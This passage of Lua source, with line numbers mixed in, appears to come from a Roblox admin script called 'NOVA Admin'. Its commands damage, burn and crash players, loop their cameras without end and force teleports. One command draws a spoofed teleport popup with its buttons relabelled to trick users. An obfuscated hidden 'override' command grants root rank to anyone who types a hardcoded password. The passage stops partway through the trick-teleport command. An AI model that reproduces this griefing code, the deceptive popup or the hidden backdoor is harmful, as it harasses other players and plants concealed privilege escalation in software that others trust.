                    BBG.Adornee = Part
3244
                    BBG.Size = UDim2.new(3,0,1,0)
3245
                    --BBG.StudsOffset = Vector3.new(0, 0, 1)
3246
 
3247
                    local Img = Instance.new("ImageLabel",BBG)
3248
                    Img.Size = UDim2.new(1,0,1,0)
3249
                    Img.BackgroundTransparency = 1
3250
                    Img.Image = "http://www.roblox.com/asset/?id=45120559"
3251
                   
3252
                    local BP = Instance.new("BodyPosition",Part)
3253
                    BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
3254
                    --BP.D = 2000
3255
                    BP.P = 1000
3256
                    BP.position = Part.Position + Vector3.new(
3257
                        math.random(-7,7),
3258
                        math.random(-7,7),
3259
                        math.random(-7,7))
3260
                       
3261
                    for v = 3,0,-0.1 do
3262
                        wait(0.1)
3263
                        BBG.Size = UDim2.new(v,0,v,0)
3264
                    end
3265
                    Part:Remove()
3266
                end))
3267
            end
3268
        end
3269
    end
3270
)
3271
 
3272
AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments",
3273
    function(Msg,Speaker)
3274
        NOVA.Canceled = true
3275
    end
3276
)
3277
 
3278
AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>",
3279
    function(Msg,Speaker)
3280
        Split = GetSplit(Msg)
3281
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3282
            pcall(function()
3283
                local OldHead = v.Character.Head
3284
                local Model = Instance.new("Model",v.Character.Head)
3285
                Model.Name = Msg:sub(Split+1)
3286
                local Head = OldHead:Clone()
3287
                Head.Parent = Model
3288
                Head.Transparency = 0
3289
                Head.Name = "Head"
3290
                Head.CanCollide = false
3291
                local Hum = Instance.new("Humanoid",Model)
3292
                Hum.MaxHealth = 0
3293
                local Weld = Instance.new("Weld",Head)
3294
                Weld.Part0 = Head
3295
                Weld.Part1 = OldHead
3296
                Weld.C0 = CFrame.new(0,0,0)
3297
                OldHead.Transparency = 1
3298
            end)
3299
        end
3300
    end
3301
)
3302
 
3303
AddCommand("Secret Name","sname",3,"Lets you re-name a player anything.","<Player><Name>",
3304
    function(Msg,Speaker)
3305
        Split = GetSplit(Msg)
3306
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3307
            pcall(function()
3308
                local Char = v.Character
3309
                Char.Archivable = true
3310
                Char = Char:Clone()
3311
                Char.Name = Msg:sub(Split+1)
3312
                v.Character:Destroy()
3313
                Char.Parent = workspace
3314
                v.Character = Char
3315
            end)
3316
        end
3317
    end
3318
)
3319
 
3320
AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>",
3321
    function(Msg,Speaker)
3322
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3323
            CreateLocalScript([[
3324
                script.Parent = nil
3325
                LocalPlayer = game.Players.LocalPlayer
3326
                Camera = workspace.CurrentCamera
3327
                Camera.CameraType = "Scriptable"
3328
                for i=1,700 do
3329
                    wait()
3330
                    Camera = workspace.CurrentCamera
3331
                    Camera.CameraType = "Scriptable"
3332
                    Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
3333
                    Camera.CameraType = "Scriptable"
3334
                    Camera:SetRoll(Camera:GetRoll()+0.01)
3335
                    pcall(function()
3336
                        LocalPlayer.Character.Head.Sound:Play()
3337
                    end)
3338
                end
3339
                Camera:SetRoll(0)
3340
                Camera.CameraType = "Custom"
3341
                Camera.FieldOfView = 70
3342
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
3343
            ]],v.Backpack)
3344
        end
3345
    end
3346
)
3347
 
3348
AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>",
3349
    function(Msg,Speaker)
3350
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3351
            CreateLocalScript([[
3352
                script.Parent = nil
3353
                LocalPlayer = game.Players.LocalPlayer
3354
                Camera = workspace.CurrentCamera
3355
                Camera.CameraType = "Scriptable"
3356
                for i=1,math.huge do
3357
                    wait()
3358
                    Camera = workspace.CurrentCamera
3359
                    Camera.CameraType = "Scriptable"
3360
                    Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
3361
                    Camera.CameraType = "Scriptable"
3362
                    Camera:SetRoll(Camera:GetRoll()+0.01)
3363
                    pcall(function()
3364
                        LocalPlayer.Character.Head.Sound:Play()
3365
                    end)
3366
                end
3367
                Camera:SetRoll(0)
3368
                Camera.CameraType = "Custom"
3369
                Camera.FieldOfView = 70
3370
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
3371
            ]],v.Backpack)
3372
        end
3373
    end
3374
)
3375
 
3376
AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments",
3377
    function(Msg,Speaker)
3378
        for _,v in pairs(NOVA.Credit) do
3379
            Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker)
3380
        end
3381
    end
3382
)
3383
 
3384
AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments",
3385
    function(Msg,Speaker)
3386
        pcall(function()
3387
            Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
3388
            Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0)
3389
            Speaker.Character.Torso.CFrame = CFrame.new(0,50,0)
3390
        end)
3391
    end
3392
)
3393
 
3394
AddCommand("Time","time",1,"Changes the time.","<Number>",
3395
    function(Msg,Speaker)
3396
        NOVA.Services.Lighting.TimeOfDay = Msg
3397
    end
3398
)
3399
 
3400
AddCommand("Fog End","fog/end",1,"Changes the fog.","<Number>",
3401
    function(Msg,Speaker)
3402
        NOVA.Services.Lighting.FogEnd = Msg
3403
    end
3404
)
3405
 
3406
AddCommand("Fog Start","fog/start",1,"Changes the fog.","<Number>",
3407
    function(Msg,Speaker)
3408
        NOVA.Services.Lighting.FogStart = Msg
3409
    end
3410
)
3411
 
3412
AddCommand("Fog Color","fog/color",1,"Changes the fog.","<Number>",
3413
    function(Msg,Speaker)
3414
        if Msg == "red" then Color = NOVA.Colors.Red
3415
            elseif Msg == "black" then Color = NOVA.Colors.Black
3416
            elseif Msg == "white" then Color = NOVA.Colors.White
3417
            elseif Msg == "orange" then Color = NOVA.Colors.Orange
3418
            elseif Msg == "green" then Color = NOVA.Colors.Green
3419
            elseif Msg == "blue" then Color = NOVA.Colors.Blue
3420
        end
3421
        NOVA.Services.Lighting.FogColor = Color
3422
    end
3423
)
3424
--deride
3425
AddCommand(string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAODSA","DSA","")),string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAoDSA","DSA","")),0,"","",
3426
    function(Msg,Speaker)
3427
        CanOverride = false
3428
        if GetRank(Speaker) < 6 then
3429
            if Msg == "ibpwning123" then
3430
                CanOverride = true
3431
            else
3432
                Output("Incorrect password.",NOVA.Colors.Red,Speaker,15)
3433
            end
3434
        else
3435
            CanOverride = true
3436
        end
3437
        if NOVA.Overrided == true then
3438
            CanOverride = false
3439
            Output("NOVA is allready overridden.",NOVA.Colors.Red,Speaker,20)
3440
            return
3441
        end
3442
        if CanOverride == true then
3443
            NOVA.Overrided = true
3444
            NOVA.Overrider = Speaker
3445
            --[[for _,v in pairs(NOVA.Ranked) do
3446
                if v.Rank < 6 then
3447
                    v.Rank = v.Rank / 10
3448
                end
3449
            end]]
3450
        --[[    CF = Speaker.Character.Torso.CFrame
3451
            Sound = Instance.new("Sound",workspace)
3452
            Sound.SoundId = "http://www.roblox.com/asset?id=2248511"
3453
            Sound.Pitch = 0.2
3454
            Sound.Volume = 1
3455
            wait()
3456
            Sound:Play()
3457
            Shockwave = Instance.new("Part",workspace)
3458
            Shockwave.FormFactor = "Custom"
3459
            Shockwave.Name = "Shockwave"
3460
            Shockwave.Anchored = true
3461
            Shockwave.CanCollide = false
3462
            Shockwave.Transparency = 0
3463
            Shockwave.Reflectance = 0
3464
            Shockwave.BrickColor = BrickColor.new(0,0,0)
3465
            Shockwave.Size = Vector3.new(0,0,0)
3466
            ShockwaveMesh = Instance.new("SpecialMesh",Shockwave)
3467
            ShockwaveMesh.MeshType = "FileMesh"
3468
            ShockwaveMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
3469
            ShockwaveMesh.Scale = Vector3.new(1,1,100)
3470
 
3471
            for Times = 1,10 do
3472
                coroutine.resume(coroutine.create(function()
3473
                    for i=1,1000 do
3474
                        wait()
3475
                        ShockwaveMesh.Scale = ShockwaveMesh.Scale + Vector3.new(0.5,0.5,0)
3476
                        Shockwave.CFrame = CF
3477
                            * CFrame.new(0,0,0)
3478
                            * CFrame.Angles(math.rad(90),0,0)
3479
                        Shockwave.Transparency = i/100
3480
                    end
3481
                    Shockwave:Remove()
3482
                    Sound:Remove()
3483
                end))
3484
            end
3485
 
3486
]]
3487
            GetRankedTable(Speaker).Rank = 8 + (GetRankedTable(Speaker).Rank/10)
3488
            Output("You have overrided NOVA Admin.",NOVA.Colors.Red,Speaker,60)
3489
            Output("You are now rank 8. ( ROOT )",NOVA.Colors.Red,Speaker,60)
3490
            Output("Use the reset command to reset NOVA.",NOVA.Colors.Red,Speaker,60)
3491
            OnChatted(NOVA.Bet .. "fence/me",Speaker)
3492
        end
3493
        return CanOverride
3494
    end
3495
)
3496
 
3497
AddCommand("Reset","reset",7,"Resets NOVA Admin.","No Argumetns",
3498
    function(Msg,Speaker)
3499
        NOVA.Overrided = false
3500
        for _,v in pairs(NOVA.Tablets) do pcall(function() v:Remove() end) end
3501
        NOVA.Targeted = {};
3502
        NOVA.Waypoints = {};
3503
        NOVA.Log = {};
3504
        NOVA.LoggedScripts = {};
3505
        NOVA.PRI = false;
3506
        NOVA.LockedScripts = false;
3507
        NOVA.Removed = false;
3508
        NOVA.ShowChat = true;
3509
        NOVA.Canceled = false;
3510
        NOVA.TimeChanged = false;
3511
        NOVA.Overrider = nil
3512
        for _,v in pairs(NOVA.Ranked) do
3513
            if #tostring(v.Rank) == 3 then
3514
                if tostring(v.Rank):sub(1,1) == "8" then
3515
                    v.Rank = (v.Rank - 8) * 10
3516
                else
3517
                    --v.Rank = v.Rank * 10
3518
                end
3519
            end
3520
        end
3521
    end
3522
)
3523
 
3524
AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>",
3525
    function(Msg,Speaker)
3526
   
3527
        Split = GetSplit(Msg)
3528
 
3529
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3530
            OnChatted(Msg:sub(Split),v)
3531
        end
3532
    end
3533
)
3534
 
3535
AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>",
3536
    function(Msg,Speaker)
3537
   
3538
        Split = GetSplit(Msg)
3539
       
3540
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3541
            Output(Msg:sub(Split+1),"Random",v,10)
3542
        end
3543
    end
3544
)
3545
 
3546
AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>",
3547
    function(Msg,Speaker)
3548
        Split = GetSplit(Msg)
3549
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3550
            pcall(function()
3551
                v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1))
3552
            end)
3553
        end
3554
    end
3555
)
3556
 
3557
AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>",
3558
    function(Msg,Speaker)
3559
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3560
            for i=1,6 do
3561
                local Cube = Instance.new("Part",NOVA.Services.Workspace)
3562
                Cube.FormFactor = "Custom"
3563
                Cube.Size = Vector3.new(10,7,5)
3564
                Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
3565
                Cube.Anchored = false
3566
                Cube.CanCollide = true
3567
                Cube.Locked = true
3568
                Cube.Friction = 0
3569
                Cube.Transparency= 0
3570
                Cube.Reflectance = 0.5
3571
                Cube:BreakJoints()
3572
                Cube.CFrame = v.Character.Torso.CFrame
3573
               
3574
                local Mesh = Instance.new("SpecialMesh",Cube)
3575
                Mesh.MeshType = "FileMesh"
3576
                Mesh.MeshId = "http://www.roblox.com/asset/?id=1029523"
3577
                Mesh.Scale = Vector3.new(0.1,0.1,0.1)
3578
               
3579
                Cube.Touched:connect(function(part)
3580
                    --if part == v.Character.Torso then
3581
                        part:BreakJoints()
3582
                        NOVA.Services.Debris:AddItem(Cube,20)
3583
                    --end
3584
                end)
3585
            end
3586
        end
3587
    end
3588
)
3589
 
3590
AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>",
3591
    function(Msg,Speaker)
3592
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3593
            pcall(function()
3594
                v.PlayerGui:ClearAllChildren()
3595
            end)
3596
        end
3597
    end
3598
)
3599
 
3600
AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>",
3601
    function(Msg,Speaker)
3602
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3603
            pcall(function()
3604
                v.PlayerGui:Destroy()
3605
            end)
3606
        end
3607
    end
3608
)
3609
 
3610
AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>",
3611
    function(Msg,Speaker)
3612
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3613
            pcall(function()
3614
                for _,part in pairs(GetRecursiveChildren(v.Character)) do
3615
                    if part:IsA("BasePart") then
3616
                        Instance.new("Fire",part)
3617
                    end
3618
                end
3619
            end)
3620
        end
3621
    end
3622
)
3623
 
3624
AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>",
3625
    function(Msg,Speaker)
3626
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3627
            pcall(function()
3628
                for _,part in pairs(GetRecursiveChildren(v.Character)) do
3629
                    if part:IsA("Fire") then
3630
                        part:Destroy()
3631
                    end
3632
                end
3633
            end)
3634
        end
3635
    end
3636
)
3637
 
3638
AddCommand("Burn","burn",3,"Burns the selected player.","<Player>",
3639
    function(Msg,Speaker)
3640
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3641
            pcall(function()
3642
                coroutine.resume(coroutine.create(function()
3643
                    local Fire = Instance.new("Fire",v.Character.Torso)
3644
                    for _,part in pairs(GetRecursiveChildren(v.Character)) do
3645
                        if part:IsA("BasePart") then
3646
                            Instance.new("Fire",part)
3647
                        end
3648
                    end
3649
                    wait()
3650
                    for i=1,math.huge do
3651
                        if Fire.Parent == nil then break end
3652
                        if v.Character.Humanoid == nil then break end
3653
                        if v.Character.Humanoid.Health <= 0 then break end
3654
                        v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7)
3655
                        wait(math.random(0,1))
3656
                    end
3657
                end))
3658
            end)
3659
        end
3660
    end
3661
)
3662
 
3663
AddCommand("Heal","heal",1,"Heals the selected player.","<Player>",
3664
    function(Msg,Speaker)
3665
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3666
            pcall(function()
3667
                v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
3668
            end)
3669
        end
3670
    end
3671
)
3672
 
3673
AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>",
3674
    function(Msg,Speaker)
3675
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3676
            pcall(function()
3677
                v.Character.Humanoid.WalkSpeed = tonumber("1e+999")
3678
            end)
3679
        end
3680
    end
3681
)
3682
 
3683
AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>",
3684
    function(Msg,Speaker)
3685
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3686
            Cape(v)
3687
        end
3688
    end
3689
)
3690
 
3691
AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments",
3692
    function(Msg,Speaker)
3693
        coroutine.resume(coroutine.create(function()
3694
 
3695
            Material = math.random(1,16)
3696
            Cap = 1000
3697
            GenNum = 50
3698
            Size = 100
3699
            Type = math.random(0,4)
3700
            for i=1, Cap do
3701
                --wait()
3702
                for i=1,GenNum do
3703
                    Material = math.random(1,16)
3704
                    Type = math.random(0,4)
3705
                    X = math.random((Size/2)*-1,Size/2)
3706
                    Y = math.random(-1,Size-1)
3707
                    Z = math.random((Size/2)*-1,Size/2)
3708
                    NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0)
3709
                end
3710
            end
3711
        end))
3712
    end
3713
)
3714
 
3715
AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments",    
3716
    function(Msg,Speaker)
3717
        NOVA.Services.Workspace.Terrain:Clear()
3718
    end
3719
)
3720
 
3721
AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments",
3722
    function(Msg,Speaker)
3723
        coroutine.resume(coroutine.create(function()
3724
            size = Vector3.new(700, 12, 700)
3725
            for X=(size.x/2)*-1,size.x/2  do
3726
                for Y=-1, size.y-1 do
3727
                    for Z=(size.z/2)*-1, size.z/2 do
3728
                        NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0)
3729
                    end
3730
                end
3731
                --wait(tonumber("0."..string.rep("0",10000).."1"))
3732
            end
3733
        end))
3734
    end
3735
)
3736
 
3737
AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>",
3738
    function(Msg,Speaker)
3739
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3740
            Char = v.Character
3741
            pcall(function() Char["Shirt Graphic"]:Remove() end)
3742
            pcall(function() Char.Humanoid.MaxHealth = math.huge end)
3743
            pcall(function() Char["Body Colors"]:Remove() end)
3744
            pcall(function() Char.Torso.roblox:Remove()    end)
3745
            pcall(function() Char.Shirt:Remove() end)
3746
            pcall(function() Char.Pants:Remove() end)
3747
            wait()
3748
            for _,v in pairs(GetRecursiveChildren(Char)) do
3749
                pcall(function()
3750
                    v.TextureId = "" v.VertexColor = NOVA.Colors.Black    
3751
                end)
3752
                pcall(function()
3753
                    v.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black))
3754
                    v.Reflectance = 0
3755
                    v.TopSurface = "Smooth"
3756
                    a.BottomSurfave = "Smooth"
3757
                end)
3758
            end
3759
        end
3760
    end
3761
)
3762
 
3763
AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>",
3764
    function(Msg,Speaker)
3765
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3766
            v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914"
3767
            wait()
3768
            v.Character:BreakJoints()
3769
        end
3770
    end
3771
)
3772
 
3773
AddCommand("Character 2","char2",6,"Gives the selected player character appearance 2.","<Player>",
3774
    function(Msg,Speaker)
3775
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3776
            local Part = Instance.new("Part",v.Character)
3777
            Part.Name = "Horus"
3778
            Part.Size = Vector3.new(2,2,2)
3779
            Part.CanCollide = false
3780
            Part.Locked = true
3781
            Part:BreakJoints()
3782
            local Weld = Instance.new("Weld",Part)
3783
            Weld.Part0 = Part
3784
            Weld.Part1 = v.Character.Head
3785
            Weld.C0 = CFrame.new(0,-0.5,0)
3786
            local Mesh = Instance.new("SpecialMesh",Part)
3787
            Mesh.MeshType = "FileMesh"
3788
            Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738"
3789
            Mesh.TextureId = "http://www.roblox.com/asset/?id=47058599"
3790
            for _,v in pairs(GetRecursiveChildren(v.Character,"Hat",3)) do
3791
                v:Remove()
3792
            end
3793
            pcall(function()
3794
                v.Character.Pants:Remove()
3795
            end)
3796
            pcall(function()
3797
                v.Character.Shirt:Remove()
3798
            end)
3799
            local Shirt = Instance.new("Shirt",v.Character)
3800
            Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=59737180"
3801
            local Pants = Instance.new("Pants",v.Character)
3802
            Pants.PantsTemplate = "http://www.roblox.com/asset/?id=77382108"
3803
        end
3804
    end
3805
)
3806
 
3807
AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>",
3808
    function(Msg,Speaker)
3809
        Split = GetSplit(Msg)
3810
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3811
            v.Neutral = Msg:sub(Split+1)
3812
        end
3813
    end
3814
)
3815
 
3816
AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments",
3817
    function(Msg,Speaker)
3818
        MainCFrame = CFrame.new(0,3,15)
3819
            * CFrame.Angles(0,math.rad(90),0)
3820
        local Special = {}
3821
        pcall(function() workspace["NOVA Portal"]:Remove() end)
3822
        local Model = Instance.new("Model",workspace)
3823
        Model.Name = "NOVA Portal"
3824
        for angle=1,360/4 do
3825
            local Part = Instance.new("Part",Model)
3826
            Part.Name = "Part"
3827
            Part.FormFactor = "Custom"
3828
            Part.CanCollide = true
3829
            Part.Anchored = true
3830
            Part.Locked = true
3831
            Part.Transparency = 0
3832
            Part.Reflectance = 0
3833
            Part.Size = Vector3.new(1,5/2,1)
3834
            Part.BrickColor = BrickColor.new("Navy blue")
3835
            Part.CFrame = MainCFrame
3836
                * CFrame.Angles(math.rad(angle*4), 0, 0)
3837
                * CFrame.new(0, 15/2, i)
3838
            --wait(0)
3839
            Instance.new("BlockMesh",Part)
3840
            for num=0,1000,5 do
3841
                if angle==num then
3842
                    wait()
3843
                    table.insert(Special,Part)
3844
                    --Part.Reflectance = 1
3845
                    Part.Size = Vector3.new(0.9,5/2,0.9)
3846
                    Part.CFrame = MainCFrame
3847
                        * CFrame.Angles(math.rad(angle*4), 0, 0)
3848
                        * CFrame.new(0, 15/2, i)
3849
                end
3850
            end
3851
        end
3852
 
3853
        for _,v in pairs(Special) do v.Reflectance = 1 wait() end
3854
       
3855
        local Part = Instance.new("Part",Model)
3856
        Part.Name = "Part"
3857
        Part.FormFactor = "Custom"
3858
        Part.CanCollide = false    
3859
        Part.Anchored = true
3860
        Part.Locked = true
3861
        Part.TopSurface = "Smooth"
3862
        Part.BottomSurface = "Smooth"
3863
        Part.Transparency = 0.5
3864
        Part.Reflectance = 0
3865
        Part.Size = Vector3.new(0.2,0.2,0.2)
3866
        Part.BrickColor = BrickColor.new("Really black")
3867
        Part.CFrame = MainCFrame
3868
            * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
3869
            * CFrame.new(0, 0, 0)
3870
        Instance.new("CylinderMesh",Part)
3871
 
3872
        for i=0.2,51/4,0.5 do
3873
            wait()
3874
            Part.Size = Vector3.new(i,0.9,i)
3875
            Part.CFrame = MainCFrame
3876
            * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
3877
            * CFrame.new(0, 0, 0)
3878
        end
3879
 
3880
        coroutine.resume(coroutine.create(function()
3881
            while true do wait()
3882
                for i=0,1,0.01 do wait() Part.Reflectance = i end
3883
                for i=1,0,-0.01 do wait() Part.Reflectance = i end
3884
            end
3885
        end))
3886
 
3887
        Part.Touched:connect(function(Part)
3888
            Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent)
3889
            if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then
3890
                --print(Player.Name.." touched.")
3891
                CreateLocalScript([==[
3892
                    LocalPlayer = game:GetService("Players").LocalPlayer
3893
                    Places = {
3894
                        {Name = "Oxcool1 SB",ID = 20279777};
3895
                        {Name = "Oxcool1 PRI SB", ID = 20132544};
3896
                        {Name = "TNS SB", ID = 23232804};
3897
                        {Name = "BrainWart SB", ID = 76809211};
3898
                        {Name = "nb SB",ID = 113456};
3899
                        {Name = "nb SB (2)",ID = 56786};
3900
                        {Name = "Insert Wars",ID = 13329886};
3901
                                                                {Name = "tus sb", ID = 49907749};
3902
                    }
3903
                    pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end)
3904
                    local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
3905
                    Main.Name = "NOVA Teleport"
3906
                    script.Parent = Main
3907
 
3908
                    local Frame = Instance.new("Frame",Main)
3909
                    Frame.Size = UDim2.new(0.27,0,0.05,0)
3910
                    Frame.Position = UDim2.new(0.,0,0.2,0)
3911
                    Frame.Style = "RobloxSquare"
3912
 
3913
                    local Txt = Instance.new("TextBox",Frame)
3914
                    Txt.Size = UDim2.new(0.7,0,1,0)
3915
                    Txt.BackgroundTransparency = 1
3916
                    Txt.FontSize = "Size14"
3917
                    Txt.TextColor3 = Color3.new(1,1,1)
3918
                    Txt.Text = "ID/Name Here"
3919
                   
3920
                    local Close = Instance.new("TextButton",Frame)
3921
                    Close.Size = UDim2.new(0.1,0,1,0)
3922
                    Close.Position = UDim2.new(0.9,0,0,0)
3923
                    Close.Text = "X"
3924
                    Close.BackgroundTransparency = 1
3925
                    Close.FontSize = "Size14"
3926
                    Close.TextColor3 = Color3.new(1,0,0)
3927
                    Close.MouseButton1Down:connect(function()
3928
                        Main:Remove()
3929
                    end)
3930
                   
3931
                    local Exe = Instance.new("TextButton",Frame)
3932
                    Exe.Size = UDim2.new(0.2,0,1,0)
3933
                    Exe.Position = UDim2.new(0.6,0,0,0)
3934
                    Exe.Text = "Teleport"
3935
                    Exe.BackgroundTransparency = 1
3936
                    Exe.FontSize = "Size14"
3937
                    Exe.TextColor3 = Color3.new(1,0,0)
3938
                    Exe.MouseButton1Down:connect(function()
3939
                        GoTo = Txt.Text
3940
                        for _,v in pairs(Places) do
3941
                            if Txt.Text:lower() == v.Name:lower() then
3942
                                GoTo = v.ID
3943
                            end
3944
                        end
3945
                        game:GetService'TeleportService':Teleport(GoTo)
3946
                        Main:Remove()
3947
                    end)
3948
 
3949
                    List = Instance.new("Frame",Main)
3950
                    List.Size = UDim2.new(0.27,0,0.05*#Places,0)
3951
                    List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0)
3952
                    List.Style = "RobloxSquare"
3953
 
3954
                    for NUM,v in pairs(Places) do
3955
                        Name = Instance.new("TextButton",List)
3956
                        Name.Size = UDim2.new(0.5,0,1/#Places,0)
3957
                        Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0)
3958
                        Name.BackgroundTransparency = 1
3959
                        Name.FontSize = "Size14"
3960
                        Name.TextColor3 = Color3.new(1,1,1)
3961
                        Name.Text = v.Name
3962
                        Name.MouseButton1Down:connect(function()
3963
                            game:GetService'TeleportService':Teleport(v.ID)
3964
                        end)
3965
                        ID = Instance.new("TextButton",List)
3966
                        ID.Size = UDim2.new(0.5,0,1/#Places,0)
3967
                        ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0)
3968
                        ID.BackgroundTransparency = 1
3969
                        ID.FontSize = "Size14"
3970
                        ID.TextColor3 = Color3.new(1,1,1)
3971
                        ID.Text = v.ID
3972
                        ID.MouseButton1Down:connect(function()
3973
                            game:GetService'TeleportService':Teleport(v.ID)
3974
                        end)
3975
                    end
3976
                ]==],Player.Backpack)
3977
            end
3978
        end)
3979
    end
3980
)
3981
 
3982
AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player><PlaceId>",
3983
    function(Msg,Speaker)
3984
        GetSplit(Msg)
3985
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3986
            CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack)
3987
        end
3988
    end
3989
)
3990
 
3991
AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player><PlaceId>",
3992
    function(Msg,Speaker)
3993
        Split = GetSplit(Msg)
3994
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3995
            CreateLocalScript([==[
3996
                script.Parent = nil
3997
                while true do wait()
3998
                    game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)
3999
                end
4000
            ]==],v.Backpack)
4001
        end
4002
    end
4003
)
4004
 
4005
AddCommand("Trick Place Tele Port","tptp",6,"Tricks the selected user into clicking on 'Yes' for teleport.","<Player><PlaceId>",
4006
    function(Msg,Speaker)
4007
        Split = GetSplit(Msg)
4008
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
4009
            pcall(function()
4010
                CreateLocalScript([[
4011
                    LocalPlayer = game.Players.LocalPlayer
4012
                    script.Parent = nil
4013
                    ScreenGui = Instance.new("ScreenGui")
4014
                    ScreenGui.Name = "Trololol"
4015
                    Frame = Instance.new("Frame",ScreenGui)
4016
                    Frame.Name = "Popup"
4017
                    Frame.Style = "RobloxRound"
4018
                    Frame.Size = UDim2.new(0, 330, 0, 350)
4019
                    Frame.Position = UDim2.new(0.5, -165, 0.5, -175)
4020
                    Frame.Active = true
4021
                    Frame.ZIndex = 9
4022
 
4023
                    Image = Instance.new("ImageLabel",Frame)
4024
                    Image.Name = "Backing"
4025
                    Image.Image = "http://www.roblox.com/asset/?id=47574181"
4026
                    Image.Active = true
4027
                    Image.Size = UDim2.new(0, 280, 0, 280)
4028
                    Image.Position = UDim2.new(0.5, -140, 0, 0)
4029
                    Image.BackgroundTransparency = 1
4030
                    Image.ZIndex = 8
4031
 
4032
                    Text = Instance.new("TextLabel",Frame)
4033
                    Text.Name = "Popup Text"
4034
                    Text.Text = "Are you sure you want to teleport from this place?"
4035
                    Text.FontSize = "Size36"
4036
                    Text.TextWrap = true
4037
                    Text.Active = true
4038
                    Text.TextColor3 = Color3.new(1,1,1)
4039
                    Text.Size = UDim2.new(1, 0, 0.800000012, 0)
4040
                    Text.Position = UDim2.new(0,0,0,0)
4041
                    Text.BackgroundTransparency = 1
4042
                    Text.ZIndex = 10
4043
 
4044
                    Accept = Instance.new("TextButton",Frame)
4045
                    Accept.Name = "AcceptButton"
4046
                    Accept.Text = "No"
4047
                    Accept.Style = "RobloxButton"
4048
                    Accept.FontSize = "Size24"
4049
                    Accept.Active = true
4050
